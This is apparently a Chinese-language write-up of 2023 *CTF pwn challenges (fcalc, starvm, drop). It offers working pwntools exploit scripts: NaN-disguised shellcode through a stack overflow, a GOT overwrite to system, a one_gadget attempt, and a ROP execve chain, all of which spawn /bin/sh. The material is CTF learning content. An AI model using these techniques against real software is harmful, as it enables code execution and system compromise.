2023 *ctf pwn

师傅们tql,题解出的太快了,orz

https://github.com/sixstars/starctf2023/tree/main

fcalc

grxer@Ubantu20 ~/s/m/s/fcalc> checksec ./fcalc
[*] '/mnt/hgfs/share/match/startctf/fcalc/fcalc'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

这里有个溢出

void *buf; // [rsp+30h] [rbp-28h]
v7 = read(0, buf, 0x180uLL);

然后就是在运算符号为0时会溢出原来定义的函数数组会跳转到0040E0处的数据执行

 _BYTE v6[12]; // [rsp+8h] [rbp-50h] BYREF 
s = v6;
qword_40E0 = s;

40E0处存的一个栈地址,栈上是有可执行权限的,可以通过溢出往栈上写shellcode,shellcode按双精度浮点数解释需要满足下面的条件

v13 = fabs(*v10);
if ( v13 != 0.0 && (v13 < 1.0 || v13 > 100.0) )

image-20230802164253679

浮点数里有exp阶码全为1,有效数不全为0,表示Nan(not a number)

对于nan的一些特性 x:including NaN and ±∞

Comparison NaN ≥ x NaN ≤ x NaN > x NaN < x NaN = x NaN ≠ x
Result False False False False False True

所以只要浮点数的高位为0x7ff或0xfff即可

浮点数的低位再利用跳转指令跳转到shellcode即可,大概找到下面可以用的跳转指令

image-20230802163426648

image-20230802155245832

image-20230802165152552

计算偏移

image-20230802170108947

pwndbg> p/x 0x7ffe32ff2d38-(0x7ffe32ff2d80+2)
$1 = 0xffffffffffffffb6
pwndbg> p/x 0x7ffe32ff2d38-(0x7ffe32ff2d80+5)
$2 = 0xffffffffffffffb3
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./fcalc'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
# pause()
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
db('b *$rebase(0x1867)')
# db('b *$rebase(0x0174E)')
NaNHeader = b"\xFF\xfF"
shellcode=asm(shellcraft.sh())
#first
#FFFFFFB3
call=b'\xE8\xb3\xFF\xFF\xFF'+b'6'+NaNHeader
#second
jmp=b'\xE9\xb3\xFF\xFF\xFF'+b'6'+NaNHeader
#third
# B6
# jmp=b'\xEb\xb6'+b'beef'+NaNHeader
sa('expression:',b'1 2 0 hh'+shellcode.ljust(0x48,b'\x00')+call)
io.interactive()

方法2

根据浮点数的解释规则来看,在有效数都为0时,阶码最小3FF(1023),有效数都为1,最大也就无限接近2,所以阶码最大为1023+log2(100/2)=1,028.643 即404h多

REX前缀的值介于40h到4Fh之间,一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。

40的前缀是可以使用的,当我们用\x40覆盖某些指令时可以转义或被忽略(相当于nop)

这边至少要开头两个0x40才能构成0x404的开头绕过检查,所以单句的payload不能大于6个字节

shellcode = asm('''
xor rsi, rsi
mul rsi #把rax置零

mov edi, 0x68732f
shl rdi,0x10
add di,0x6e69
shl rdi,0x10
add di,0x622f
push rdi
mov rdi, rsp
mov al, 59

syscall
''')
def set_sc(ft):
pd = flat(
{
0:asm(ft)
},filler = '\x40',length=8
)
return pd
payload=set_sc('xor rsi, rsi')+set_sc('mul rsi')+set_sc('mov edi, 0x68732f')+set_sc('shl rdi,0x10')+set_sc('add di,0x6e69')+set_sc('shl rdi,0x10')+set_sc('add di,0x622f')+set_sc('push rdi')+set_sc('mov rdi, rsp')+set_sc('mov al, 59')+set_sc('push rax')+set_sc('syscall')

sa('expression:',b'1 2 0 hh'+b'a'*0x48+payload)

方法3

官方paylaod是构造了jmp 4来跳到下一条指令

>>> disasm(b"\xEB\x02")
' 0: eb 02 jmp 0x4'
jmpn = b"\xEB\x02"
NaNHeader = b"\xFF\x7F"
# 0: 31 c0 xor eax,eax
# 2: 31 db xor ebx,ebx
# 4: 66 b8 3b 00 mov ax,0x3b
# 8: 66 bb 68 00 mov bx,0x68
# c: 48 c1 e3 10 shl rbx,0x10
# 10: 66 bb 2f 73 mov bx,0x732f
# 14: 48 c1 e3 10 shl rbx,0x10
# 18: 66 bb 69 6e mov bx,0x6e69
# 1c: 48 c1 e3 10 shl rbx,0x10
# 20: 66 bb 2f 62 mov bx,0x622f
# 24: 53 push rbx
# 25: 48 89 e7 mov rdi,rsp
# 28: 31 f6 xor esi,esi
# 2a: 31 d2 xor edx,edx
# 2c: 0f 05 syscall
payload += b'\x31\xc0\x31\xdb' + jmpn + NaNHeader
payload += b'\x66\xb8\x3b\x00' + jmpn + NaNHeader
payload += b'\x66\xbb\x68\x00' + jmpn + NaNHeader
payload += b'\x48\xc1\xe3\x10' + jmpn + NaNHeader
payload += b'\x66\xbb\x2f\x73' + jmpn + NaNHeader
payload += b'\x48\xc1\xe3\x10' + jmpn + NaNHeader
payload += b'\x66\xbb\x69\x6e' + jmpn + NaNHeader
payload += b'\x48\xc1\xe3\x10' + jmpn + NaNHeader
payload += b'\x66\xbb\x2f\x62' + jmpn + NaNHeader
payload += b'\x53\x48\x89\xe7' + jmpn + NaNHeader
payload += b'\x31\xf6\x31\xd2' + jmpn + NaNHeader
payload += b'\x0f\x05\x90\x90' + jmpn + NaNHeader # \x90 is nop

小于四字节的可以用nop来填充

starvm

第一次接触vm pwn,是一个c++写的哈佛架构的虚拟机,c++的stl逆向好难懂,但是vm pwn最主要的就是逆清楚虚拟机结构体和指令操作,难搞哦

typedef struct{
vector<instr*> codestack;
vector<unsigned int> datastack;
vector<instr*>::iterator ip;
int reg[14];
unsigned int* mem;
unsigned int eflags;

} starvm;
typedef struct{
char instr_code;//操作码
int instr_num;//操作数的个数
}instr;

指令储存和数据储存分开,先初始化code后初始化data,然后就是取指令 译码 执行 更新pc的操作

vector的结构

00000000 vector struc ; (sizeof=0x18, mappedto_9) ; XREF:
00000000
00000000 _M_start dq ?
00000008 _M_finish dq ?
00000010 _M_end_of_storage dq ?
00000018 vector ends

漏洞是data初始化时没有限制数字,在6 7指令会导致申请的堆的越界读写,10指令没有检查值会寄存器越界覆盖掉mem指针,漏洞都可以造成任意地址读写

case VM_LOAD:6
// load reg, bias
op1 = vmp->datastack[data_cnt++];
meml = vmp->datastack[data_cnt++];
if(op1>14){
bad();
}
if(vmp->mem == NULL){
vmp->mem = (unsigned int*)malloc(0x70);
}
// oob read
vmp->reg[op1] = vmp->mem[meml];
vmp->ip++;
continue;
case VM_UNLOAD:7
// unload reg, bias
op1 = vmp->datastack[data_cnt++];
meml = vmp->datastack[data_cnt++];
if(op1>14){
bad();
}
vmp->mem[meml] = vmp->reg[op1];
vmp->ip++;
continue;
case VM_MOVINT:
// MOVINT reg, int
op1 = vmp->datastack[data_cnt++];
vmp->reg[op1] = vmp->datastack[data_cnt++];
vmp->ip++;
continue;

ex师傅那里的思路就是mallocgot为setvbuf,setvbufgot为system,然后修改sevbuf参数stdin指向字符串sh,最后再把mem指针置零触发maloc

from pwn import *
context.clear(arch='amd64', os='linux' )

sh=process('./starvm')

#gdb.attach(sh,'b *0x401754')

cmd = [10, 6, 10, 3, 7, 10, 10, 7, 7, 10, 10, 10, 7, 7, 7, 10, 6]
sh.sendlineafter(b'command:\n', ' '.join([str(v) for v in cmd]).encode() + b' 16')
'''
10 reg[op1]=op2

6 reg[op1]=mem[op2]

3 reg[op1]=reg[op1] - reg[op2]

7 mem[op2]=reg[op1]
'''
cost = [14, 0x404020, # 10 mem=0x404020 setvbufgot
0, 0, # 6 reg[0]=mem[0]
1, 0x30910, # 10 reg[1]=0x30910
0, 1, # 3 reg[0]=mem[0]0x81670-0x30910 system
0, 0, # 7 setvbufgot=system
14, 0x404070, # 10 mem=malloc
0, 0x401270, # 10 reg[0]=0x401270
0, 0, # 7 mallocgot=0x401270
2, 1, # 7 mallocgot高位=0
14, 0x4040D0, # 10 mem=stdin
0, 0x4040D8, # 10 reg[0]=0x4040D8
1, 0x6873, # 10 reg[1]=0x6873 sh
0, 0, # 7 stdinlow=0x4040D8
2, 1, # 7 stdinhigh=0
1, 2, # 7 0x4040D8=0x6873
14, 0, # 10 mem置零
0, 0, # 6 触发malloc
0xdeadbeef]

sh.sendlineafter(b'your cost:\n', '\n'.join([str(v) for v in cost]).encode())

sh.interactive()

由于一开始给了栈地址,就想着修改返回地址为ogg,但是glibc2.35的ogg太难用了,没一个成功

from pwn import *
context.clear(arch='amd64', os='linux' )

sh=process('./starvm')

gdb.attach(sh,'b *0x00401A38')

cmd = [10,10,6,10,2,7]
sh.recvuntil(b'at ')
stack_ret=int(sh.recv(len('7fff3b21f080')),16)-(0x7ffd188fa9d0-0x7ffd188fa9e8)

sh.sendlineafter(b'command:\n', ' '.join([str(v) for v in cmd]).encode() + b' 16')
'''
10 reg[op1]=op2

6 reg[op1]=mem[op2]

7 mem[op2]=reg[op1]

2 reg[op1]=reg[op1] + reg[op2]
'''
ogg=0xebcf8-0x29d90
cost = [14,stack_ret&0xffffffff,
15,(stack_ret>>32)&0xffffffff,#修改mem为栈上main的返回地址
0,0,#6 reg[0]=mem[0]
1,ogg,#10 reg[op1]=ogg
0,1,#2 reg[0]=reg[1] + reg[0]
0,0,
0xdeadbeef]

sh.sendlineafter(b'your cost:\n', '\n'.join([str(v) for v in cost]).encode())

sh.interactive()
'''
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''

有个syscal ret的gadget做后门可以写rop链

from pwn import *
context.clear(arch='amd64', os='linux' )

sh=process('./starvm')

# gdb.attach(sh,'b *0x40198B')
gdb.attach(sh,'b *0x401325')

cmd = [10,10,10,7,7,7,7,10,7,7,10,7,10,7,10,7,7,10,7,7,10,7,7,10,7,7,10,7,10,7]
sh.recvuntil(b'at ')
stack_ret=int(sh.recv(len('7fff3b21f080')),16)-(0x7ffd188fa9d0-0x7ffd188fa9e8)
print(hex(stack_ret))
# pause()
sh.sendlineafter(b'command:\n', ' '.join([str(v) for v in cmd]).encode() + b' 16')
'''
10 reg[op1]=op2

6 reg[op1]=mem[op2]

3 reg[op1]=reg[op1] - reg[op2]

7 mem[op2]=reg[op1]

2 reg[op1]=reg[op1] + reg[op2]
'''
pop_rax=0x0000000000401468
xorrdx=0x0000000000401464
pop_rdi=0x00000000004017cb
poprsi=0x00000000004016f0
syscall=0x000000000040146a
ogg=0xebcf8-0x29d90
sh_str=stack_ret+0x40
cost = [14,stack_ret&0xffffffff,
15,(stack_ret>>32)&0xffffffff,
0,poprsi,#10
0,0,#7
9,1, #7 pop rsi
9,2,#7
9,3,#7 0

0,pop_rdi,#10
0,4,#7
9,5, #7 pop rdi
0,sh_str&0xffffffff,#10
0,6,#7
0,(sh_str>>32)&0xffffffff,#10
0,7,#7

0,xorrdx,#10
0,8,#7
9,9, #7 xorrdx

0,pop_rax,#10
0,10,#7
9,11,#7 pop rax

0,0x3b,#10
0,12,#7
9,13,#7 0x3b

0,syscall,#10
0,14,#7
9,15, #7 syscall
0,0x6e69622f, #10
0,16,#7
0,0x68732f, #10
0,17,#7

0xdeadbeef]
sh.sendlineafter(b'your cost:\n', '\n'.join([str(v) for v in cost]).encode())

sh.interactive()

drop

去符号表的rust程序,基本看不懂反汇编,只能配合gdb调试现象来看

第一次先添加了ffff,又添加了dddd,发现是申请了一个0x71大小的堆块来做管理结构,堆块的大小和输入的内容相关

image-20230806192723745